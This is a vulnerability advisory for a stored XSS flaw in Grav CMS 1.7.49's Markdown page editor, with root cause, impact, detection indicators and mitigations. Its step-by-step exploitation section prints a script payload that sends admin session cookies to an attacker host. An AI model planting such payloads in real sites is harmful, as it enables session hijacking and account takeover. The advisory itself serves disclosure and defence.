CVE-2025-65186: 
PHP vulnerability analysis and mitigation

CVE-2025-65186 is a stored Cross-Site Scripting (XSS) vulnerability in Grav CMS version 1.7.49. The page editor's Markdown editor fails to properly sanitize <script> tags, allowing authenticated users to inject persistent malicious scripts that execute when pages are viewed in the admin interface. It was published on December 2, 2025, and affects Grav CMS versions up to and including 1.7.49. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (Github Advisory, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a failure to sanitize <script> tags within the Markdown editor used in Grav CMS's page editor component. An authenticated user with access to the page editor can embed raw HTML <script> tags within Markdown content; because the editor does not strip or encode these tags before storing or rendering them, the payload persists in the CMS and executes in the browser of any admin who subsequently views the affected page in the admin interface. Exploitation requires user interaction (an admin viewing the malicious page) but no elevated privileges beyond editor access. A proof-of-concept disclosure document is publicly available (PoC Disclosure, Github Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated admin's browser session within the Grav CMS admin interface. Potential consequences include theft of session cookies, capture of administrative credentials, unauthorized administrative actions (such as content modification or plugin installation), and manipulation of the admin interface. The scope is changed (S:C in CVSS), meaning the impact extends beyond the vulnerable component to the admin's browser environment, though availability is not directly affected (Github Advisory, Red Hat CVE).

A proof-of-concept exploit document is publicly available on GitHub, published by the original researcher (PoC Disclosure). As of the time of reporting, there is no evidence of active in-the-wild exploitation, and no threat actor attribution has been made. The EPSS score is approximately 0.029–0.033%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

1. Gain editor access: Obtain authenticated access to the Grav CMS admin interface with page editing privileges (e.g., via compromised credentials or a low-privileged editor account).
2. Open the page editor: Navigate to the Pages section in the Grav admin panel and open or create a page for editing using the Markdown editor.
3. Inject XSS payload: Insert a malicious <script> tag directly into the Markdown content, for example: <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>.
4. Save the page: Submit the edited page. Because the editor does not sanitize <script> tags, the payload is stored persistently in the page's content file.
5. Trigger execution: Wait for a target admin user to view the affected page in the admin interface. When the page is rendered, the stored script executes in the admin's browser, enabling cookie theft, credential capture, or unauthorized actions (Github Advisory, PoC Disclosure).

• File System: Grav page content files (typically under user/pages/) containing raw <script> tags or encoded JavaScript payloads within Markdown content.
• Logs: Web server access logs showing requests from the admin interface to external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from admin user sessions.
• Network: Outbound HTTP/HTTPS requests from admin browsers to unexpected external hosts shortly after admin page views, potentially carrying cookie or credential data in query parameters.
• Logs: Grav admin audit logs (if enabled) showing page edits by accounts that do not normally edit content, or edits introducing <script> tags into page bodies.

The GitHub Advisory indicates that no patched version has been formally listed yet for the Composer package, but Feedly intelligence notes that a patch is available and users should upgrade Grav CMS beyond version 1.7.49 (Github Advisory). As of the latest Grav releases, version 1.7.52 is available on the official repository (Grav GitHub). As interim mitigations: restrict admin interface access to trusted personnel only, implement a Content Security Policy (CSP) header to limit script execution sources, and audit user permissions to minimize who can edit pages. Regularly review page content for unexpected <script> tags.